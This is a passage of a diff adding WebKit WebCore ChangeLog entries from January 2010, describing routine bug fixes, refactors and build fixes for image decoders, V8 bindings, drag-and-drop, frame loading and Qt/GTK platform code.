+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for Peer class
+        https://bugs.webkit.org/show_bug.cgi?id=33670
+
+        Inherits the following class from Noncopyable because it is 
+        instantiated by 'new' and no need to be copyable:
+
+        class name - instantiated at: WebCore/'location'
+        class Peer - websockets/WebSocketChannelClient.h:38
+
+        * websockets/WorkerThreadableWebSocketChannel.h:
+
+2010-01-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        [Qt] Allow custom memory allocation control for GraphicsContextPlatformPrivate class
+        https://bugs.webkit.org/show_bug.cgi?id=33669
+
+        Inherits the following class from Noncopyable because it is 
+        instantiated by 'new' and no need to be copyable:
+
+        class name                           - instantiated at: WebCore/'location'
+        class GraphicsContextPlatformPrivate - platform/graphics/qt/GraphicsContextQt.cpp:254
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+
+2010-01-14  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Brady Eidson.
+
+        history.pushState should clear the entire forward history
+        https://bugs.webkit.org/show_bug.cgi?id=33160
+
+        Test: fast/loader/stateobjects/pushstate-clears-forward-history.html
+
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::addItem):
+        (WebCore::BackForwardList::pushStateItem):
+        * history/BackForwardList.h:
+
+2010-01-14  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber stamped by Sam Weinig.
+
+        Make naming & behaviour of UString[Impl] methods more consistent.
+        https://bugs.webkit.org/show_bug.cgi?id=33702
+
+        WebCore change reflecting UString method name change computedHash() -> existingHash().
+
+        * platform/text/AtomicString.cpp:
+        (WebCore::AtomicString::add):
+        (WebCore::AtomicString::find):
+
+2010-01-14  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/6020083> -webkit-gradient slows down scrolling when page has horizontal scrollbar
+        https://bugs.webkit.org/show_bug.cgi?id=19650
+
+        * platform/graphics/GeneratedImage.cpp:
+        (WebCore::GeneratedImage::drawPattern): Added call to adjustParametersForTiledDrawing(),
+        letting the generator substitute the parameters with visually-equivalent values that
+        are more efficient.
+        * platform/graphics/Generator.h:
+        (WebCore::Generator::adjustParametersForTiledDrawing): Added a base class implementation
+        that does nothing.
+        * platform/graphics/Gradient.cpp:
+        (WebCore::Gradient::adjustParametersForTiledDrawing): Added. If the gradient is a horizontal
+        or vertical linear gradient, changes to use a 1-pixel tall (or wide) tile.
+        * platform/graphics/Gradient.h:
+
+2010-01-14  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        Platform Symbian specific:
+        Added time-based optimization (-Otime) and increased optimization level to -O3,
+        conditionally for RVCT compiler (for ARM), for increasing performance
+        (primarily affecting JavaScript execution).
+        Default settings are -Ospace and -O2.
+
+        No new tests needed because no new funtionality is introduced,
+        only potential regression on existing tests needs to be evaluated.
+
+        * WebCore.pro:
+
+2010-01-14  Jungshik Shin  <jshin@chromium.org>
+
+        Unreviewed, attempted build fix on chromium.
+
+        Fix a Chromium build failure due to an unused variable in V8 binding.(part 2)
+
+        * bindings/v8/V8Collection.h:
+        (WebCore::getNamedPropertyOfCollection):
+
+2010-01-14  Jungshik Shin  <jshin@chromium.org>
+
+        Unreviewed, attempted build fix on chromium.
+
+        Fix a Chromium build failure due to an unused variable in V8 binding. 
+
+        * bindings/v8/V8Collection.h:
+        (WebCore::getIndexedPropertyOfCollection):
+
+2010-01-14  Peter Kasting  <pkasting@google.com>
+
+        Unreviewed, attempted build fix.
+
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::haveDecodedRow):
+
+2010-01-14  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Barth.
+
+        Simplify image decoders by making downsampling functions available at
+        all times, allowing much duplicated logic to be collapsed.
+        https://bugs.webkit.org/show_bug.cgi?id=28751
+
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::setData):
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::ImageDecoder::prepareScaleDataIfNecessary):
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::ImageDecoder):
+        (WebCore::ImageDecoder::scaledSize):
+        (WebCore::ImageDecoder::setMaxNumPixels):
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::sizeNowAvailable):
+        (WebCore::GIFImageDecoder::initFrameBuffer):
+        (WebCore::GIFImageDecoder::haveDecodedRow):
+        (WebCore::GIFImageDecoder::frameComplete):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::JPEGImageDecoder::setSize):
+        (WebCore::JPEGImageDecoder::outputScanlines):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::rowAvailable):
+
+2010-01-14  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [chromium] Remove obsolete CF related files from gyp build.
+        https://bugs.webkit.org/show_bug.cgi?id=33002
+
+        * WebCore.gypi:
+
+2010-01-14  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Barth.
+
+        Decoding images to scaled output buffers resulted in garbage for
+        no-alpha PNGs and CMYK JPEGs.
+        https://bugs.webkit.org/show_bug.cgi?id=33624
+        
+        No layout test since I don't have access to a platform that scales the
+        output buffers.
+
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::convertCMYKToRGBA):
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::rowAvailable):
+
+2010-01-14  Brian Weinstein  <bweinstein@apple.com>
+
+        Rubber-stamped by Oliver Hunt.
+
+        Fix an assertion that was causing test crashes. Filed a bug
+        about the weirdness that causes this assertion (inconsistencies 
+        between DragOperationMove and DragOperationGeneric).
+
+        * dom/Clipboard.cpp:
+        (WebCore::dragOpFromIEOp):
+        (WebCore::Clipboard::setDestinationOperation):
+
+2010-01-14  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=33498 REGRESSION: 
+        svg/css/circle-in-mask-with-shadow.svg failing pixel tests
+        -and corresponding-
+        <rdar://problem/7544176>
+
+        This change makes repaintRectInLocalCoordinates return a rect that 
+        is -webkit-svg-shadow-aware.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGContainer.cpp:
+        (WebCore::RenderSVGContainer::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::repaintRectInLocalCoordinates):
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::repaintRectInLocalCoordinates):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        * rendering/style/SVGRenderStyle.cpp:
+        (WebCore::SVGRenderStyle::inflateForShadow):
+        * rendering/style/SVGRenderStyle.h:
+
+2010-01-14  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Drag and Drop source/destination code needs cleanup.
+        <https://bugs.webkit.org/show_bug.cgi?id=33691>.
+        
+        Cleaned up some Drag and Drop code that deals with getting
+        source and destination operations, and added some ASSERTS to make
+        sure we don't get in bad states.
+
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::sourceOperation): Make this return the operation itself.
+        (WebCore::Clipboard::destinationOperation): Ditto.
+        (WebCore::Clipboard::setSourceOperation): Add an assert to make sure we're valud.
+        (WebCore::Clipboard::setDestinationOperation): Ditto.
+        * dom/Clipboard.h:
+        * page/DragController.cpp:
+        (WebCore::DragController::tryDHTMLDrag):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleDrag):
+
+2010-01-14  Timothy Hatcher  <timothy@apple.com>
+
+        Make the Web Inspector's JavaScript debugger work with isolated worlds.
+        Console evaluation is not performed in the correct world yet, tracked
+        by bug http://webkit.org/b/33692.
+
+        http://webkit.org/b/33690
+
+        Reviewed by Adam Roben.
+
+        * bindings/js/ScriptCachedFrameData.cpp:
+        (WebCore::ScriptCachedFrameData::restore): Attach the debugger to
+        any window shell, not just for the debugger world.
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::clearWindowShell): Detach the debugger, and
+        reattach to all window shells, not just for the debugger world.
+        (WebCore::ScriptController::initScript): Attach the debugger to
+        any window shell, not just for the debugger world.
+        (WebCore::ScriptController::attachDebugger): Changed to loop through
+        all the window shells and call the new overloaded attachDebugger.
+        (WebCore::ScriptController::attachDebugger): Added. An overload that
+        takes a window shell to attach the debugger to. Has most of the
+        logic from the original attachDebugger.
+        * bindings/js/ScriptController.h: Added the new attachDebugger.
+
+2010-01-14  Adam Roben  <aroben@apple.com>
+
+        Make Cache::requestResource return 0 if the resource's load fails
+        immediately
+
+        Fixes <rdar://problem/7543406> <http://webkit.org/b/33687>
+        window.onload never fires if page contains a <script src=foo> whose
+        load is cancelled by resource load delegate returning null from
+        willSendRequest
+
+        Test: fast/loader/onload-willSendRequest-null-for-script.html
+
+        Reviewed by Dave Hyatt.
+
+        * loader/Cache.cpp:
+        (WebCore::Cache::requestResource): Moved code to handle immediate load
+        failure out of the "cache is disabled" block so that it will run even
+        when the cache is enabled.
+
+2010-01-14  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by mitz@webkit.org.
+
+        Fix for crash with gradient on table cell.  Pass the correct
+        background object down to
+        RenderBoxModelObject::paintFillLayerExtended().  This also allowed a
+        rework of the fix to bug 18445 by passing the correct RenderObject
+        from RenderBox::paintRootBoxDecorations() down to
+        RenderBoxModelObject::paintFillLayerExtended().
+        https://bugs.webkit.org/show_bug.cgi?id=28426
+
+        Covered by new layout test:  LayoutTests/fast/gradients/crash-on-tr.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::paintFillLayers):
+        (WebCore::RenderBox::paintFillLayer):
+        * rendering/RenderBox.h:
+        Plumb through the correct background RenderObject.
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        Use the passed-in background RenderObject (if present) when painting background images.  Remove the previous fix for bug 18445.
+        * rendering/RenderBoxModelObject.h:
+        Plumb through the correct background RenderObject.
+        * rendering/RenderTableCell.cpp:
+        Pass in the correct backgroundObject to paintFillLayers().
+
+        (WebCore::RenderTableCell::paintBackgroundsBehindCell):
+
+2010-01-14  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Standardize the rest of the v8 bindings on toNative() wherever possible.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33677
+
+        * bindings/v8/NPV8Object.cpp:
+        (v8ObjectToNPObject): Special case for converting NPObjects, since there aren't genereated bindings for them.
+        * bindings/v8/NPV8Object.h:
+        * bindings/v8/ScriptController.cpp:
+        * bindings/v8/V8Collection.cpp:
+        * bindings/v8/V8Collection.h:
+        (WebCore::toNativeCollection): Special case for converting V8Collections, since there aren't genereated bindings for them.
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8NPObject.cpp:
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+
+2010-01-14  Evan Stade  <estade@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Chromium Linux: don't stretch checkboxes
+        https://bugs.webkit.org/show_bug.cgi?id=28631
+
+        Make the default size for checkboxes/radio buttons also the maximum
+        size.
+
+        Based on patch by Adam Langley.
+
+        Test: fast/css/non-standard-checkbox-size.html
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::center):
+        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
+        (WebCore::RenderThemeChromiumSkia::setCheckboxSize):
+        (WebCore::RenderThemeChromiumSkia::paintRadio):
+
+2010-01-14  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Follow up to <https://bugs.webkit.org/show_bug.cgi?id=33635>.
+        
+        Now that dropEffect and effectAllowed are guaranteed to not be
+        null, change null checks into asserts to make sure we are returning
+        a proper DragOperation value.
+
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::sourceOperation): Change null check to assert.
+        (WebCore::Clipboard::destinationOperation): Ditto.
+
+2010-01-14  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        [DnD] effectAllowed and dropEffect can be set to bogus values.
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=33635>.
+        
+        Test to make aure dropEffect and effectAllowed are being set to valid values
+        when they are being set (list of valid values given by HTML5 specification).
+        
+        Also, drive by change to initialize dropEffect to none (as described in spec).
+
+        Test: fast/events/bogus-dropEffect-effectAllowed.html
+
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::Clipboard): Initialize m_dropEffect to "none".
+        (WebCore::Clipboard::setDropEffect): Check if dropEffect is being set to a valid value.
+        (WebCore::Clipboard::setEffectAllowed): Check if effectAllowed is being set to a valid value.
+
+2010-01-14  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Infinite recursion in RuntimeObjectImp::getOwnPropertyNames()
+        https://bugs.webkit.org/show_bug.cgi?id=33371
+
+        RuntimeObjectImp should not reimplement getPropertyNames();
+        move the implementation to getOwnPropertyNames().
+
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::getOwnPropertyNames):
+        * bridge/runtime_object.h:
+
+2010-01-14  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Add ENABLE(XSLT) guard to TransformSourceLibxslt.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=33665
+
+        TransformSource is available only when ENABLE(XSLT) guard is true.
+
+        * dom/TransformSourceLibxslt.cpp:
+
+2010-01-14  Adam Roben  <aroben@apple.com>
+
+        Treat all synchronous loads equally in FrameLoader::loadSubframe
+
+        Only loads of the empty URL or about:blank were being treated as
+        synchronous loads. But other loads can be synchronous (e.g., when we
+        receive a null ResourceRequest from requestFromDelegate or when a
+        policy decision of "ignore" is made). We now treat those loads the
+        same way we treated empty URLs and about:blank.
+
+        Fixes <rdar://problem/7533333> <http://webkit.org/b/33533>
+        window.onload never fires if page contains an <iframe> with a bad
+        scheme or whose load is cancelled by returning null from resource load
+        delegate's willSendRequest
+
+        Tests: fast/loader/onload-bad-scheme-for-frame.html
+               fast/loader/onload-policy-ignore-for-frame.html
+               fast/loader/onload-willSendRequest-null-for-frame.html
+
+        Reviewed by Brady Eidson.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadSubframe):
+          - Detect synchronous loads by checking the subframe's loader's
+            state, rather than by checking its URL
+          - Removed unnecessary call to completed(), since checkCompleted()
+            will call completed() if needed (the call to completed() was added
+            first and wasn't removed when the call to checkCompleted() was
+            added in r8316)
+          - Added more comments about the strange thing this function does
+            with the subframe's loader
+
+2010-01-14  Diego Gonzalez  <diego.gonzalez@openbossa.org>
+
+        Reviewed by Kenneth Christiansen.
+
+        [Qt] Missing fileSystemPath() method in Qt KURL implementation
+        https://bugs.webkit.org/show_bug.cgi?id=33614
+
+        No new tests.
+
+        * platform/qt/KURLQt.cpp:
+        (WebCore::KURL::fileSystemPath):
+
+2010-01-13  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33652
+        REGRESSION: Frames stop appearing after browsing for a while
+
+        <rdar://problem/7308312> REGRESSION: iBench gets slower after several runs
+
+        I do not know how not creating renderers for frames could make iBench slower, but it did.
+
+        Test: fast/frames/cached-frame-counter.html
+
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrame::CachedFrame): A frame that's cached is moved away from Page,
+        so decrement frame count here.
+        (WebCore::CachedFrame::open): Increase frame count when a frame is restored.
+
+        * history/CachedFrame.h: Remove unneeded forward declarations.
+
+        * history/CachedPage.h: Ditto.
+
+        * history/CachedPage.cpp: (WebCore::CachedPage::restore): Assert that page frame count is
+        zero prior to restoring a page from b/f cache.
+        
+        * page/Page.cpp: (WebCore::Page::checkFrameCountConsistency): A debug-only method to
+        check that frame count stored in Page matches the number of frames in frame tree.
+
+        * page/Page.h:
+        (WebCore::Page::decrementFrameCount): Assert that frame count is positive.
+        (WebCore::Page::frameCount): Call checkFrameCountConsistency().
+
+2010-01-14  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows build fixes.
+        Add forward declarations and additional includes of windows.h.
+
+        * platform/Cursor.h: Add forward declaration of HCURSOR. Move destructor implementation into cpp.
+        * platform/graphics/transforms/TransformationMatrix.h: Add forward declaration of XFORM. Remove windows.h include.
+        * platform/graphics/win/TransformationMatrixWin.cpp: Add include of windows.h.
+        * platform/win/CursorWin.cpp: Moved destructor of SharedCursor here.
+        (WebCore::SharedCursor::~SharedCursor): Moved here.
+        * platform/win/EventLoopWin.cpp: Add include of windows.h.
+        * platform/win/SystemInfo.cpp: Add include of windows.h.
+
+2010-01-14  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Switch the custom V8 bindings to use class toNative() functions.
+
+        Refactoring, so no new tests.
+
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        * bindings/v8/custom/V8AttrCustom.cpp:
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        * bindings/v8/custom/V8CoordinatesCustom.cpp:
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        * bindings/v8/custom/V8DocumentLocationCustom.cpp:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        * bindings/v8/custom/V8EventCustom.cpp:
+        * bindings/v8/custom/V8GeolocationCustom.cpp:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * bindings/v8/custom/V8InspectorFrontendHostCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        * bindings/v8/custom/V8PopStateEventCustom.cpp:
+        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        * bindings/v8/custom/V8SVGLengthCustom.cpp:
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        * bindings/v8/custom/V8StyleSheetListCustom.cpp:
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
+
+2010-01-14  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Enable DOM clipboard and drag-and-drop access
+        https://bugs.webkit.org/show_bug.cgi?id=30623
+
+        Add DataObjectGtk, a container for pasteboard and drag-and-drop data.
+
+        No new tests, because functionality has not changed.
+
+        * GNUmakefile.am:
+        * platform/gtk/DataObjectGtk.cpp: Added.
+        (WebCore::DataObjectGtk::text):
+        (WebCore::DataObjectGtk::markup):
+        (WebCore::DataObjectGtk::setText):
+        (WebCore::DataObjectGtk::setMarkup):
+        (WebCore::DataObjectGtk::files):
+        (WebCore::DataObjectGtk::url):
+        (WebCore::DataObjectGtk::urlLabel):
+        (WebCore::DataObjectGtk::hasURL):
+        (WebCore::DataObjectGtk::clear):
+        (WebCore::DataObjectGtk::forClipboard):
+        * platform/gtk/DataObjectGtk.h: Added.
+        (WebCore::DataObjectGtk::create):
+        (WebCore::DataObjectGtk::uriList):
+        (WebCore::DataObjectGtk::image):
+        (WebCore::DataObjectGtk::setRange):
+        (WebCore::DataObjectGtk::setURIList):
+        (WebCore::DataObjectGtk::setImage):
+        (WebCore::DataObjectGtk::setDragContext):
+        (WebCore::DataObjectGtk::hasText):
+        (WebCore::DataObjectGtk::hasMarkup):
+        (WebCore::DataObjectGtk::hasURIList):
+        (WebCore::DataObjectGtk::hasImage):
+        (WebCore::DataObjectGtk::dragContext):
+
+2010-01-14  Ilya Tikhonovsky  <loislo@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        WebInspector: Scrolling of Timeline Page was broken by fix for bug 33470.
+        https://bugs.webkit.org/show_bug.cgi?id=33666
+
+        * inspector/front-end/inspector.css:
+
+2010-01-14  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        [Qt] Unreviewed fix of builds with the --no-svg switch.
+
+        * WebCore.pri:
+
+2010-01-14  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        [Qt] Unreviewed build fix on Windows.
+
+        * platform/graphics/transforms/TransformationMatrix.h:
+
+2010-01-14  Andreas Kling  <andreas.kling@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Enable scrolling optimization for pages with embedded widgets
+
+        https://bugs.webkit.org/show_bug.cgi?id=33373
+
+        Added a basic manual test for scrolling of embedded QWidgets.
+
+        * manual-tests/qt/qtplugin-scrolling.html: Added.
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        (WebCore::ScrollView::setParent):
+        * platform/ScrollView.h:
+        * platform/qt/ScrollViewQt.cpp:
+        (WebCore::ScrollView::platformInit):
+        (WebCore::ScrollView::platformAddChild):
+        (WebCore::ScrollView::platformRemoveChild):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::invalidateRect):
+
+2009-12-09  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GStreamer] Check return values of gst_element_set_state()
+        https://bugs.webkit.org/show_bug.cgi?id=30000
+
+        Check for state change failure when going from READY/NULL to
+        PAUSED or PLAYING. Also refactored the common code of play() and
+        pause() to a new private method of the player.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::changePipelineState):
+        (WebCore::MediaPlayerPrivate::play):
+        (WebCore::MediaPlayerPrivate::pause):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2010-01-14  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r53248.
+        http://trac.webkit.org/changeset/53248
+        https://bugs.webkit.org/show_bug.cgi?id=32641
+
+        Caused 2 tests to crash on various bots:
+        fast/dom/HTMLSelectElement/listbox-select-reset.html and
+        fast/forms/listbox-typeahead-scroll.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::recalcStyle):
+        (WebCore::SelectElement::setRecalcListItems):
+        (WebCore::SelectElement::recalcListItems):
+        (WebCore::SelectElement::restoreFormControlState):
+        (WebCore::SelectElement::reset):
+        (WebCore::SelectElement::typeAheadFind):
+        * dom/SelectElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::selected):
+        (WebCore::HTMLOptionElement::insertedIntoTree):
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::recalcStyle):
+        * html/HTMLSelectElement.h:
+        * wml/WMLSelectElement.cpp:
+        (WebCore::WMLSelectElement::recalcStyle):
+
+2010-01-14  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Darin Adler.
+
+        [Android] [Qt] The document.createEvent API does not support touch events.
+        https://bugs.webkit.org/show_bug.cgi?id=33605
+
+        Test: fast/events/touch/create-touch-event.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::createEvent): add creation of a TouchEvent when the "TouchEvent" argument is supplied.
+
+2010-01-14  James Robinson  <jamesr@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Ensures that the 'selected' attribute of an <option> is correct
+        https://bugs.webkit.org/show_bug.cgi?id=32641
+
+        Adds a check in OptionElement::selected() that checks if list items need to be recalculated and does so if needed,
+        so the attribute is up to date more often.  Also gets rid of most of the recalcStyle() side effects.
+
+         Our behavior now matches Firefox 3.5 and IE8 after the </select> is parsed.
+
+         Tests: fast/forms/HTMLOptionElement_selected2.html
+                fast/forms/HTMLOptionElement_selected3.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::setOptionsChangedOnRenderer):
+        (WebCore::SelectElement::setRecalcListItems):
+        (WebCore::SelectElement::recalcListItems):
+        (WebCore::SelectElement::restoreFormControlState):
+        (WebCore::SelectElement::reset):
+        (WebCore::SelectElement::typeAheadFind):
+        * dom/SelectElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::selected):
+        (WebCore::HTMLOptionElement::insertedIntoTree):
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::recalcStyle):
+        (WebCore::HTMLSelectElement::recalcListItemsIfNeeded):
+        * html/HTMLSelectElement.h:
+        * wml/WMLSelectElement.cpp:
+        (WebCore::WMLSelectElement::recalcStyle):
+
+2010-01-14  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        [Qt] Allow custom memory allocation control for TransparencyLayer class
+        https://bugs.webkit.org/show_bug.cgi?id=33585
+
+        Inherits the following class from FastAllocBase because it is 
+        instantiated by 'new':
+
+        class name              - instantiated at: WebCore/'location'
+        class TransparencyLayer - platform/graphics/qt/GraphicsContextQt.cpp:906
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+
+2010-01-14  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        [Qt] Allow custom memory allocation control for FontPlatformDataPrivate class
+        https://bugs.webkit.org/show_bug.cgi?id=33583
+
+        Inherits the following class from Noncopyable because it is 
+        instantiated by 'new' and no need to be copyable:
+
+        class name                    - instantiated at: WebCore/'location'
+        class FontPlatformDataPrivate - platform/graphics/qt/FontPlatformData.h:70
+
+        * platform/graphics/qt/FontPlatformData.h:
+
+2010-01-12  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] un-needed seeks
+        https://bugs.webkit.org/show_bug.cgi?id=33532
+
+        Avoid un-needed seeks. Don't seek at current playback position and
+        don't update the rate if it is already set to target value.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::setRate):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2010-01-14  Eric Seidel  <eric@webkit.org>
+
+        No review.  Tiger build fix after http://trac.webkit.org/changeset/53238.
+
+        Need to implement WebGLContextAttributes
+        https://bugs.webkit.org/show_bug.cgi?id=31169
+
+        Fix a build break when ENABLE(3D_CANVAS) is disabled.
+
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext): UNUSED_PARAM(attrs) when 3D_CANVAS is disabled.
+
+2010-01-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: use hidden text area for clipboard in order to
+        workaround windows setData bug.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33633
+
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype._copy):
+        * inspector/front-end/inspector.css:
+
+2010-01-13  Mads Ager  <ager@chromium.org>
+
